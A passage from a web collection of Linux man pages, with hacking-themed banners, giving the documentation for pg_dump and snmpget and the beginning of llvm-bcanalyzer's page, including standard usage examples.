             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1148 - Linux cli command pg_dump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_dump and provides detailed information about the command pg_dump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_dump.

NAME 🖥️ pg_dump 🖥️

extract a PostgreSQL database into a script file or other archive file

SYNOPSIS

pg_dump [connection-option…] [option…] [dbname]

DESCRIPTION

pg_dump is a utility for backing up a PostgreSQL database. It makes consistent backups even if the database is being used concurrently. pg_dump does not block other users accessing the database (readers or writers).

pg_dump only dumps a single database. To back up an entire cluster, or to back up global objects that are common to all databases in a cluster (such as roles and tablespaces), use pg_dumpall(1).

Dumps can be output in script or archive file formats. Script dumps are plain-text files containing the SQL commands required to reconstruct the database to the state it was in at the time it was saved. To restore from such a script, feed it to psql(1). Script files can be used to reconstruct the database even on other machines and other architectures; with some modifications, even on other SQL database products.

The alternative archive file formats must be used with pg_restore(1) to rebuild the database. They allow pg_restore to be selective about what is restored, or even to reorder the items prior to being restored. The archive file formats are designed to be portable across architectures.

When used with one of the archive file formats and combined with pg_restore, pg_dump provides a flexible archival and transfer mechanism. pg_dump can be used to backup an entire database, then pg_restore can be used to examine the archive and/or select which parts of the database are to be restored. The most flexible output file formats are the “custom” format (-Fc) and the “directory” format (-Fd). They allow for selection and reordering of all archived items, support parallel restoration, and are compressed by default. The “directory” format is the only format that supports parallel dumps.

While running pg_dump, one should examine the output for any warnings (printed on standard error), especially in light of the limitations listed below.

OPTIONS

The following command-line options control the content and format of the output.

dbname

Specifies the name of the database to be dumped. If this is not specified, the environment variable PGDATABASE is used. If that is not set, the user name specified for the connection is used.

-a
–data-only

Dump only the data, not the schema (data definitions). Table data, large objects, and sequence values are dumped.

This option is similar to, but for historical reasons not identical to, specifying –section=data.

-b
–large-objects
–blobs (deprecated)

Include large objects in the dump. This is the default behavior except when –schema, –table, or –schema-only is specified. The -b switch is therefore only useful to add large objects to dumps where a specific schema or table has been requested. Note that large objects are considered data and therefore will be included when –data-only is used, but not when –schema-only is.

-B
–no-large-objects
–no-blobs (deprecated)

Exclude large objects in the dump.

When both -b and -B are given, the behavior is to output large objects, when data is being dumped, see the -b documentation.

-c
–clean

Output commands to DROP all the dumped database objects prior to outputting the commands for creating them. This option is useful when the restore is to overwrite an existing database. If any of the objects do not exist in the destination database, ignorable error messages will be reported during restore, unless –if-exists is also specified.

This option is ignored when emitting an archive (non-text) output file. For the archive formats, you can specify the option when you call pg_restore.

-C
–create

Begin the output with a command to create the database itself and reconnect to the created database. (With a script of this form, it doesnt matter which database in the destination installation you connect to before running the script.) If –clean is also specified, the script drops and recreates the target database before reconnecting to it.

With –create, the output also includes the databases comment if any, and any configuration variable settings that are specific to this database, that is, any ALTER DATABASE … SET … and ALTER ROLE … IN DATABASE … SET … commands that mention this database. Access privileges for the database itself are also dumped, unless –no-acl is specified.

This option is ignored when emitting an archive (non-text) output file. For the archive formats, you can specify the option when you call pg_restore.

-e pattern
**–extension=**pattern

Dump only extensions matching pattern. When this option is not specified, all non-system extensions in the target database will be dumped. Multiple extensions can be selected by writing multiple -e switches. The pattern parameter is interpreted as a pattern according to the same rules used by psqls \d commands (see Patterns), so multiple extensions can also be selected by writing wildcard characters in the pattern. When using wildcards, be careful to quote the pattern if needed to prevent the shell from expanding the wildcards.

Any configuration relation registered by pg_extension_config_dump is included in the dump if its extension is specified by –extension.

Note

When -e is specified, pg_dump makes no attempt to dump any other database objects that the selected extension(s) might depend upon. Therefore, there is no guarantee that the results of a specific-extension dump can be successfully restored by themselves into a clean database.

-E encoding
**–encoding=**encoding

Create the dump in the specified character set encoding. By default, the dump is created in the database encoding. (Another way to get the same result is to set the PGCLIENTENCODING environment variable to the desired dump encoding.) The supported encodings are described in Section 24.3.1.

-f file
**–file=**file

Send output to the specified file. This parameter can be omitted for file based output formats, in which case the standard output is used. It must be given for the directory output format however, where it specifies the target directory instead of a file. In this case the directory is created by pg_dump and must not exist before.

-F format
**–format=**format

Selects the format of the output. format can be one of the following:

p
plain

Output a plain-text SQL script file (the default).

c
custom

Output a custom-format archive suitable for input into pg_restore. Together with the directory output format, this is the most flexible output format in that it allows manual selection and reordering of archived items during restore. This format is also compressed by default.

d
directory

Output a directory-format archive suitable for input into pg_restore. This will create a directory with one file for each table and large object being dumped, plus a so-called Table of Contents file describing the dumped objects in a machine-readable format that pg_restore can read. A directory format archive can be manipulated with standard Unix tools; for example, files in an uncompressed archive can be compressed with the gzip, lz4, or zstd tools. This format is compressed by default using gzip and also supports parallel dumps.

t
tar

Output a tar-format archive suitable for input into pg_restore. The tar format is compatible with the directory format: extracting a tar-format archive produces a valid directory-format archive. However, the tar format does not support compression. Also, when using tar format the relative order of table data items cannot be changed during restore.

-j njobs
**–jobs=**njobs

Run the dump in parallel by dumping njobs tables simultaneously. This option may reduce the time needed to perform the dump but it also increases the load on the database server. You can only use this option with the directory output format because this is the only output format where multiple processes can write their data at the same time.

pg_dump will open njobs + 1 connections to the database, so make sure your max_connections setting is high enough to accommodate all connections.

Requesting exclusive locks on database objects while running a parallel dump could cause the dump to fail. The reason is that the pg_dump leader process requests shared locks (ACCESS SHARE) on the objects that the worker processes are going to dump later in order to make sure that nobody deletes them and makes them go away while the dump is running. If another client then requests an exclusive lock on a table, that lock will not be granted but will be queued waiting for the shared lock of the leader process to be released. Consequently any other access to the table will not be granted either and will queue after the exclusive lock request. This includes the worker process trying to dump the table. Without any precautions this would be a classic deadlock situation. To detect this conflict, the pg_dump worker process requests another shared lock using the NOWAIT option. If the worker process is not granted this shared lock, somebody else must have requested an exclusive lock in the meantime and there is no way to continue with the dump, so pg_dump has no choice but to abort the dump.

To perform a parallel dump, the database server needs to support synchronized snapshots, a feature that was introduced in PostgreSQL 9.2 for primary servers and 10 for standbys. With this feature, database clients can ensure they see the same data set even though they use different connections. pg_dump -j uses multiple database connections; it connects to the database once with the leader process and once again for each worker job. Without the synchronized snapshot feature, the different worker jobs wouldnt be guaranteed to see the same data in each connection, which could lead to an inconsistent backup.

-n pattern
**–schema=**pattern

Dump only schemas matching pattern; this selects both the schema itself, and all its contained objects. When this option is not specified, all non-system schemas in the target database will be dumped. Multiple schemas can be selected by writing multiple -n switches. The pattern parameter is interpreted as a pattern according to the same rules used by psqls \d commands (see Patterns), so multiple schemas can also be selected by writing wildcard characters in the pattern. When using wildcards, be careful to quote the pattern if needed to prevent the shell from expanding the wildcards; see Examples below.

Note

When -n is specified, pg_dump makes no attempt to dump any other database objects that the selected schema(s) might depend upon. Therefore, there is no guarantee that the results of a specific-schema dump can be successfully restored by themselves into a clean database.

Note

Non-schema objects such as large objects are not dumped when -n is specified. You can add large objects back to the dump with the –large-objects switch.

-N pattern
**–exclude-schema=**pattern

Do not dump any schemas matching pattern. The pattern is interpreted according to the same rules as for -n. -N can be given more than once to exclude schemas matching any of several patterns.

When both -n and -N are given, the behavior is to dump just the schemas that match at least one -n switch but no -N switches. If -N appears without -n, then schemas matching -N are excluded from what is otherwise a normal dump.

-O
–no-owner

Do not output commands to set ownership of objects to match the original database. By default, pg_dump issues ALTER OWNER or SET SESSION AUTHORIZATION statements to set ownership of created database objects. These statements will fail when the script is run unless it is started by a superuser (or the same user that owns all of the objects in the script). To make a script that can be restored by any user, but will give that user ownership of all the objects, specify -O.

This option is ignored when emitting an archive (non-text) output file. For the archive formats, you can specify the option when you call pg_restore.

-R
–no-reconnect

This option is obsolete but still accepted for backwards compatibility.

-s
–schema-only

Dump only the object definitions (schema), not data.

This option is the inverse of –data-only. It is similar to, but for historical reasons not identical to, specifying –section=pre-data –section=post-data.

(Do not confuse this with the –schema option, which uses the word “schema” in a different meaning.)

To exclude table data for only a subset of tables in the database, see –exclude-table-data.

-S username
**–superuser=**username

Specify the superuser user name to use when disabling triggers. This is relevant only if –disable-triggers is used. (Usually, its better to leave this out, and instead start the resulting script as superuser.)

-t pattern
**–table=**pattern

Dump only tables with names matching pattern. Multiple tables can be selected by writing multiple -t switches. The pattern parameter is interpreted as a pattern according to the same rules used by psqls \d commands (see Patterns), so multiple tables can also be selected by writing wildcard characters in the pattern. When using wildcards, be careful to quote the pattern if needed to prevent the shell from expanding the wildcards; see Examples below.

As well as tables, this option can be used to dump the definition of matching views, materialized views, foreign tables, and sequences. It will not dump the contents of views or materialized views, and the contents of foreign tables will only be dumped if the corresponding foreign server is specified with –include-foreign-data.

The -n and -N switches have no effect when -t is used, because tables selected by -t will be dumped regardless of those switches, and non-table objects will not be dumped.

Note

When -t is specified, pg_dump makes no attempt to dump any other database objects that the selected table(s) might depend upon. Therefore, there is no guarantee that the results of a specific-table dump can be successfully restored by themselves into a clean database.

-T pattern
**–exclude-table=**pattern

Do not dump any tables matching pattern. The pattern is interpreted according to the same rules as for -t. -T can be given more than once to exclude tables matching any of several patterns.

When both -t and -T are given, the behavior is to dump just the tables that match at least one -t switch but no -T switches. If -T appears without -t, then tables matching -T are excluded from what is otherwise a normal dump.

-v
–verbose

Specifies verbose mode. This will cause pg_dump to output detailed object comments and start/stop times to the dump file, and progress messages to standard error. Repeating the option causes additional debug-level messages to appear on standard error.

-V
–version

Print the pg_dump version and exit.

-x
–no-privileges
–no-acl

Prevent dumping of access privileges (grant/revoke commands).

-Z level
-Z method[:detail]
**–compress=**level
**–compress=**method[:detail]

Specify the compression method and/or the compression level to use. The compression method can be set to gzip, lz4, zstd, or none for no compression. A compression detail string can optionally be specified. If the detail string is an integer, it specifies the compression level. Otherwise, it should be a comma-separated list of items, each of the form keyword or keyword=value. Currently, the supported keywords are level and long.

If no compression level is specified, the default compression level will be used. If only a level is specified without mentioning an algorithm, gzip compression will be used if the level is greater than 0, and no compression will be used if the level is 0.

For the custom and directory archive formats, this specifies compression of individual table-data segments, and the default is to compress using gzip at a moderate level. For plain text output, setting a nonzero compression level causes the entire output file to be compressed, as though it had been fed through gzip, lz4, or zstd; but the default is not to compress. With zstd compression, long mode may improve the compression ratio, at the cost of increased memory use.

The tar archive format currently does not support compression at all.

–binary-upgrade

This option is for use by in-place upgrade utilities. Its use for other purposes is not recommended or supported. The behavior of the option may change in future releases without notice.

–column-inserts
–attribute-inserts

Dump data as INSERT commands with explicit column names (INSERT INTO table (column, …) VALUES …). This will make restoration very slow; it is mainly useful for making dumps that can be loaded into non-PostgreSQL databases. Any error during restoring will cause only rows that are part of the problematic INSERT to be lost, rather than the entire table contents.

–disable-dollar-quoting

This option disables the use of dollar quoting for function bodies, and forces them to be quoted using SQL standard string syntax.

–disable-triggers

This option is relevant only when creating a data-only dump. It instructs pg_dump to include commands to temporarily disable triggers on the target tables while the data is restored. Use this if you have referential integrity checks or other triggers on the tables that you do not want to invoke during data restore.

Presently, the commands emitted for –disable-triggers must be done as superuser. So, you should also specify a superuser name with -S, or preferably be careful to start the resulting script as a superuser.

This option is ignored when emitting an archive (non-text) output file. For the archive formats, you can specify the option when you call pg_restore.

–enable-row-security

This option is relevant only when dumping the contents of a table which has row security. By default, pg_dump will set row_security to off, to ensure that all data is dumped from the table. If the user does not have sufficient privileges to bypass row security, then an error is thrown. This parameter instructs pg_dump to set row_security to on instead, allowing the user to dump the parts of the contents of the table that they have access to.

Note that if you use this option currently, you probably also want the dump be in INSERT format, as the COPY FROM during restore does not support row security.

**–exclude-table-and-children=**pattern

This is the same as the -T/–exclude-table option, except that it also excludes any partitions or inheritance child tables of the table(s) matching the pattern.

**–exclude-table-data=**pattern

Do not dump data for any tables matching pattern. The pattern is interpreted according to the same rules as for -t. –exclude-table-data can be given more than once to exclude tables matching any of several patterns. This option is useful when you need the definition of a particular table even though you do not need the data in it.

To exclude data for all tables in the database, see –schema-only.

**–exclude-table-data-and-children=**pattern

This is the same as the –exclude-table-data option, except that it also excludes data of any partitions or inheritance child tables of the table(s) matching the pattern.

**–extra-float-digits=**ndigits

Use the specified value of extra_float_digits when dumping floating-point data, instead of the maximum available precision. Routine dumps made for backup purposes should not use this option.

–if-exists

Use DROP … IF EXISTS commands to drop objects in –clean mode. This suppresses “does not exist” errors that might otherwise be reported. This option is not valid unless –clean is also specified.

**–include-foreign-data=**foreignserver

Dump the data for any foreign table with a foreign server matching foreignserver pattern. Multiple foreign servers can be selected by writing multiple –include-foreign-data switches. Also, the foreignserver parameter is interpreted as a pattern according to the same rules used by psqls \d commands (see Patterns), so multiple foreign servers can also be selected by writing wildcard characters in the pattern. When using wildcards, be careful to quote the pattern if needed to prevent the shell from expanding the wildcards; see Examples below. The only exception is that an empty pattern is disallowed.

Note

Using wildcards in –include-foreign-data may result in access to unexpected foreign servers. Also, to use this option securely, make sure that the named server must have a trusted owner.

Note

When –include-foreign-data is specified, pg_dump does not check that the foreign table is writable. Therefore, there is no guarantee that the results of a foreign table dump can be successfully restored.

–inserts

Dump data as INSERT commands (rather than COPY). This will make restoration very slow; it is mainly useful for making dumps that can be loaded into non-PostgreSQL databases. Any error during restoring will cause only rows that are part of the problematic INSERT to be lost, rather than the entire table contents. Note that the restore might fail altogether if you have rearranged column order. The –column-inserts option is safe against column order changes, though even slower.

–load-via-partition-root

When dumping data for a table partition, make the COPY or INSERT statements target the root of the partitioning hierarchy that contains it, rather than the partition itself. This causes the appropriate partition to be re-determined for each row when the data is loaded. This may be useful when restoring data on a server where rows do not always fall into the same partitions as they did on the original server. That could happen, for example, if the partitioning column is of type text and the two systems have different definitions of the collation used to sort the partitioning column.

**–lock-wait-timeout=**timeout

Do not wait forever to acquire shared table locks at the beginning of the dump. Instead fail if unable to lock a table within the specified timeout. The timeout may be specified in any of the formats accepted by SET statement_timeout. (Allowed formats vary depending on the server version you are dumping from, but an integer number of milliseconds is accepted by all versions.)

–no-comments

Do not dump comments.

–no-publications

Do not dump publications.

–no-security-labels

Do not dump security labels.

–no-subscriptions

Do not dump subscriptions.

–no-sync

By default, pg_dump will wait for all files to be written safely to disk. This option causes pg_dump to return without waiting, which is faster, but means that a subsequent operating system crash can leave the dump corrupt. Generally, this option is useful for testing but should not be used when dumping data from production installation.

–no-table-access-method

Do not output commands to select table access methods. With this option, all objects will be created with whichever table access method is the default during restore.

This option is ignored when emitting an archive (non-text) output file. For the archive formats, you can specify the option when you call pg_restore.

–no-tablespaces

Do not output commands to select tablespaces. With this option, all objects will be created in whichever tablespace is the default during restore.

This option is ignored when emitting an archive (non-text) output file. For the archive formats, you can specify the option when you call pg_restore.

–no-toast-compression

Do not output commands to set TOAST compression methods. With this option, all columns will be restored with the default compression setting.

–no-unlogged-table-data

Do not dump the contents of unlogged tables and sequences. This option has no effect on whether or not the table and sequence definitions (schema) are dumped; it only suppresses dumping the table and sequence data. Data in unlogged tables and sequences is always excluded when dumping from a standby server.

–on-conflict-do-nothing

Add ON CONFLICT DO NOTHING to INSERT commands. This option is not valid unless –inserts, –column-inserts or –rows-per-insert is also specified.

–quote-all-identifiers

Force quoting of all identifiers. This option is recommended when dumping a database from a server whose PostgreSQL major version is different from pg_dumps, or when the output is intended to be loaded into a server of a different major version. By default, pg_dump quotes only identifiers that are reserved words in its own major version. This sometimes results in compatibility issues when dealing with servers of other versions that may have slightly different sets of reserved words. Using –quote-all-identifiers prevents such issues, at the price of a harder-to-read dump script.

**–rows-per-insert=**nrows

Dump data as INSERT commands (rather than COPY). Controls the maximum number of rows per INSERT command. The value specified must be a number greater than zero. Any error during restoring will cause only rows that are part of the problematic INSERT to be lost, rather than the entire table contents.

**–section=**sectionname

Only dump the named section. The section name can be pre-data, data, or post-data. This option can be specified more than once to select multiple sections. The default is to dump all sections.

The data section contains actual table data, large-object contents, and sequence values. Post-data items include definitions of indexes, triggers, rules, and constraints other than validated check constraints. Pre-data items include all other data definition items.

–serializable-deferrable

Use a serializable transaction for the dump, to ensure that the snapshot used is consistent with later database states; but do this by waiting for a point in the transaction stream at which no anomalies can be present, so that there isnt a risk of the dump failing or causing other transactions to roll back with a serialization_failure. See Chapter 13 for more information about transaction isolation and concurrency control.

This option is not beneficial for a dump which is intended only for disaster recovery. It could be useful for a dump used to load a copy of the database for reporting or other read-only load sharing while the original database continues to be updated. Without it the dump may reflect a state which is not consistent with any serial execution of the transactions eventually committed. For example, if batch processing techniques are used, a batch may show as closed in the dump without all of the items which are in the batch appearing.

This option will make no difference if there are no read-write transactions active when pg_dump is started. If read-write transactions are active, the start of the dump may be delayed for an indeterminate length of time. Once running, performance with or without the switch is the same.

**–snapshot=**snapshotname

Use the specified synchronized snapshot when making a dump of the database (see Table 9.94 for more details).

This option is useful when needing to synchronize the dump with a logical replication slot (see Chapter 49) or with a concurrent session.

In the case of a parallel dump, the snapshot name defined by this option is used rather than taking a new snapshot.

–strict-names

Require that each extension (-e/–extension), schema (-n/–schema) and table (-t/–table) pattern match at least one extension/schema/table in the database to be dumped. Note that if none of the extension/schema/table patterns find matches, pg_dump will generate an error even without –strict-names.

This option has no effect on -N/–exclude-schema, -T/–exclude-table, or –exclude-table-data. An exclude pattern failing to match any objects is not considered an error.

**–table-and-children=**pattern

This is the same as the -t/–table option, except that it also includes any partitions or inheritance child tables of the table(s) matching the pattern.

–use-set-session-authorization

Output SQL-standard SET SESSION AUTHORIZATION commands instead of ALTER OWNER commands to determine object ownership. This makes the dump more standards-compatible, but depending on the history of the objects in the dump, might not restore properly. Also, a dump using SET SESSION AUTHORIZATION will certainly require superuser privileges to restore correctly, whereas ALTER OWNER requires lesser privileges.

-?
–help

Show help about pg_dump command line arguments, and exit.

The following command-line options control the database connection parameters.

-d dbname
**–dbname=**dbname

Specifies the name of the database to connect to. This is equivalent to specifying dbname as the first non-option argument on the command line. The dbname can be a connection string. If so, connection string parameters will override any conflicting command line options.

-h host
**–host=**host

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for the Unix domain socket. The default is taken from the PGHOST environment variable, if set, else a Unix domain socket connection is attempted.

-p port
**–port=**port

Specifies the TCP port or local Unix domain socket file extension on which the server is listening for connections. Defaults to the PGPORT environment variable, if set, or a compiled-in default.

-U username
**–username=**username

User name to connect as.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Force pg_dump to prompt for a password before connecting to a database.

This option is never essential, since pg_dump will automatically prompt for a password if the server demands password authentication. However, pg_dump will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

**–role=**rolename

Specifies a role name to be used to create the dump. This option causes pg_dump to issue a SET ROLE rolename command after connecting to the database. It is useful when the authenticated user (specified by -U) lacks privileges needed by pg_dump, but can switch to a role with the required rights. Some installations have a policy against logging in directly as a superuser, and use of this option allows dumps to be made without violating the policy.

ENVIRONMENT

PGDATABASE
PGHOST
PGOPTIONS
PGPORT
PGUSER

Default connection parameters.

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

This utility, like most other PostgreSQL utilities, also uses the environment variables supported by libpq (see Section 34.15).

DIAGNOSTICS

pg_dump internally executes SELECT statements. If you have problems running pg_dump, make sure you are able to select information from the database using, for example, psql(1). Also, any default connection settings and environment variables used by the libpq front-end library will apply.

The database activity of pg_dump is normally collected by the cumulative statistics system. If this is undesirable, you can set parameter track_counts to false via PGOPTIONS or the ALTER USER command.

NOTES

If your database cluster has any local additions to the template1 database, be careful to restore the output of pg_dump into a truly empty database; otherwise you are likely to get errors due to duplicate definitions of the added objects. To make an empty database without any local additions, copy from template0 not template1, for example:

CREATE DATABASE foo WITH TEMPLATE template0;

When a data-only dump is chosen and the option –disable-triggers is used, pg_dump emits commands to disable triggers on user tables before inserting the data, and then commands to re-enable them after the data has been inserted. If the restore is stopped in the middle, the system catalogs might be left in the wrong state.

The dump file produced by pg_dump does not contain the statistics used by the optimizer to make query planning decisions. Therefore, it is wise to run ANALYZE after restoring from a dump file to ensure optimal performance; see Section 25.1.3 and Section 25.1.6 for more information.

Because pg_dump is used to transfer data to newer versions of PostgreSQL, the output of pg_dump can be expected to load into PostgreSQL server versions newer than pg_dumps version. pg_dump can also dump from PostgreSQL servers older than its own version. (Currently, servers back to version 9.2 are supported.) However, pg_dump cannot dump from PostgreSQL servers newer than its own major version; it will refuse to even try, rather than risk making an invalid dump. Also, it is not guaranteed that pg_dumps output can be loaded into a server of an older major version — not even if the dump was taken from a server of that version. Loading a dump file into an older server may require manual editing of the dump file to remove syntax not understood by the older server. Use of the –quote-all-identifiers option is recommended in cross-version cases, as it can prevent problems arising from varying reserved-word lists in different PostgreSQL versions.

When dumping logical replication subscriptions, pg_dump will generate CREATE SUBSCRIPTION commands that use the connect = false option, so that restoring the subscription does not make remote connections for creating a replication slot or for initial table copy. That way, the dump can be restored without requiring network access to the remote servers. It is then up to the user to reactivate the subscriptions in a suitable way. If the involved hosts have changed, the connection information might have to be changed. It might also be appropriate to truncate the target tables before initiating a new full table copy. If users intend to copy initial data during refresh they must create the slot with two_phase = false. After the initial sync, the two_phase option will be automatically enabled by the subscriber if the subscription had been originally created with two_phase = true option.

EXAMPLES

To dump a database called mydb into an SQL-script file:

$ pg_dump mydb > db.sql

To reload such a script into a (freshly created) database named newdb:

$ psql -d newdb -f db.sql

To dump a database into a custom-format archive file:

$ pg_dump -Fc mydb > db.dump

To dump a database into a directory-format archive:

$ pg_dump -Fd mydb -f dumpdir

To dump a database into a directory-format archive in parallel with 5 worker jobs:

$ pg_dump -Fd mydb -j 5 -f dumpdir

To reload an archive file into a (freshly created) database named newdb:

$ pg_restore -d newdb db.dump

To reload an archive file into the same database it was dumped from, discarding the current contents of that database:

$ pg_restore -d postgres –clean –create db.dump

To dump a single table named mytab:

$ pg_dump -t mytab mydb > db.sql

To dump all tables whose names start with emp in the detroit schema, except for the table named employee_log:

$ pg_dump -t detroit.emp* -T detroit.employee_log mydb > db.sql

To dump all schemas whose names start with east or west and end in gsm, excluding any schemas whose names contain the word test:

$ pg_dump -n eastgsm -n westgsm -N test mydb > db.sql

The same, using regular expression notation to consolidate the switches:

$ pg_dump -n (east|west)*gsm -N test mydb > db.sql

To dump all database objects except for tables whose names begin with ts_:

$ pg_dump -T ts_* mydb > db.sql

To specify an upper-case or mixed-case name in -t and related switches, you need to double-quote the name; else it will be folded to lower case (see Patterns). But double quotes are special to the shell, so in turn they must be quoted. Thus, to dump a single table with a mixed-case name, you need something like

$ pg_dump -t “"MixedCaseName"” mydb > mytab.sql

SEE ALSO

pg_dumpall(1), pg_restore(1), psql(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1149 - Linux cli command snmpget

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpget and provides detailed information about the command snmpget, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpget.

NAME 🖥️ snmpget 🖥️

communicates with a network entity using SNMP GET requests

SYNOPSIS

snmpget [COMMON OPTIONS] [-Cf] AGENT OID [OID]…

DESCRIPTION

snmpget is an SNMP application that uses the SNMP GET request to query for information on a network entity. One or more object identifiers (OIDs) may be given as arguments on the command line. Each variable name is given in the format specified in variables(5).

OPTIONS

-Cf
If -Cf is not specified, some applications (snmpdelta, snmpget, snmpgetnext and snmpstatus) will try to fix errors returned by the agent that you were talking to and resend the request. The only time this is really useful is if you specified a OID that didn’t exist in your request and you’re using SNMPv1 which requires “all or nothing” kinds of requests.

In addition to this option, snmpget takes the common options described in the snmpcmd(1) manual page. Note that snmpget REQUIRES an argument specifying the agent to query and at least one OID argument, as described there.

EXAMPLES

The command:

snmpget -c public zeus system.sysDescr.0

will retrieve the variable system.sysDescr.0 from the host zeus using the community string public :

system.sysDescr.0 = “SunOS zeus.net.cmu.edu 4.1.3_U1 1 sun4m”

If the network entity has an error processing the request packet, an error packet will be returned and a message will be shown, helping to pinpoint in what way the request was malformed. If there were other variables in the request, the request will be resent without the bad variable.

Here is another example. The -c and -v options are defined in the snmpcmd(1) manual page. (Note that system.sysUpTime is an incomplete OID, as it needs the .0 index appended to it):

    snmpget -v1 -Cf -c public localhost system.sysUpTime system.sysContact.0

This example will return the following:

    Error in packet
    Reason: (noSuchName) There is no such variable name in this MIB.
    This name doesn't exist: system.sysUpTime

Similarly, the command:

    snmpget -v1 -c public localhost system.sysUpTime system.sysContact.0

Will return:

    Error in packet
    Reason: (noSuchName) There is no such variable name in this MIB.
    This name doesn't exist: system.sysUpTime

    system.sysContact.0 = STRING: root@localhost

With the -Cf flag specified the application will not try to fix the PDU for you.

SEE ALSO

snmpcmd(1), snmpwalk(1), variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1150 - Linux cli command llvm-bcanalyzer-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-bcanalyzer-16 and provides detailed information about the command llvm-bcanalyzer-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-bcanalyzer-16.

NAME 🖥️ llvm-bcanalyzer-16 🖥️

bcanalyzer - LLVM bitcode analyzer

SYNOPSIS

llvm-bcanalyzer [options] [filename]

DESCRIPTION

The llvm-bcanalyzer command is a small utility for analyzing bitcode files. The tool reads a bitcode file (such as generated with the llvm-as tool) and produces a statistical report on the contents of the bitcode file. The tool can also dump a low level but human readable version of the bitcode file. This tool is probably not of much interest or utility except for those working directly with the bitcode file format. Most LLVM users can just ignore this tool.

If filename is omitted or is -, then llvm-bcanalyzer reads its input from standard input. This is useful for combining the tool into a pipeline. Output is written to the standard output.

OPTIONS

–dump
Causes llvm-bcanalyzer to dump the bitcode in a human readable format. This format is significantly different from LLVM assembly and provides details about the encoding of the bitcode file.

–help
Print a summary of command line options.

EXIT STATUS

If llvm-bcanalyzer succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value, usually 1.

SUMMARY OUTPUT DEFINITIONS

The following items are always printed by llvm-bcanalyzer. They comprize the summary output.

Bitcode Analysis Of Module

This just provides the name of the module for which bitcode analysis is being generated.

Bitcode Version Number

The bitcode version (not LLVM version) of the file read by the analyzer.

File Size

The size, in bytes, of the entire bitcode file.

Module Bytes

The size, in bytes, of the module block. Percentage is relative to File Size.

Function Bytes

The size, in bytes, of all the function blocks. Percentage is relative to File Size.

Global Types Bytes

The size, in bytes, of the Global Types Pool. Percentage is relative to File Size. This is the size of the definitions of all types in the bitcode file.

Constant Pool Bytes

The size, in bytes, of the Constant Pool Blocks Percentage is relative to File Size.

Module Globals Bytes

Ths size, in bytes, of the Global Variable Definitions and their initializers. Percentage is relative to File Size.

Instruction List Bytes

The size, in bytes, of all the instruction lists in all the functions. Percentage is relative to File Size. Note that this value is also included in the Function Bytes.

Compaction Table Bytes

The size, in bytes, of all the compaction tables in all the functions. Percentage is relative to File Size. Note that this value is also included in the Function Bytes.

Symbol Table Bytes

The size, in bytes, of all the symbol tables in all the functions. Percentage is relative to File Size. Note that this value is also included in the Function Bytes.

Dependent Libraries Bytes

The size, in bytes, of the list of dependent libraries in the module. Percentage is relative to File Size. Note that this value is also included in the Module Global Bytes.

Number Of Bitcode Blocks

The total number of blocks of any kind in the bitcode file.

Number Of Functions

The total number of function definitions in the bitcode file.

Number Of Types

The total number of types defined in the Global Types Pool.

Number Of Constants

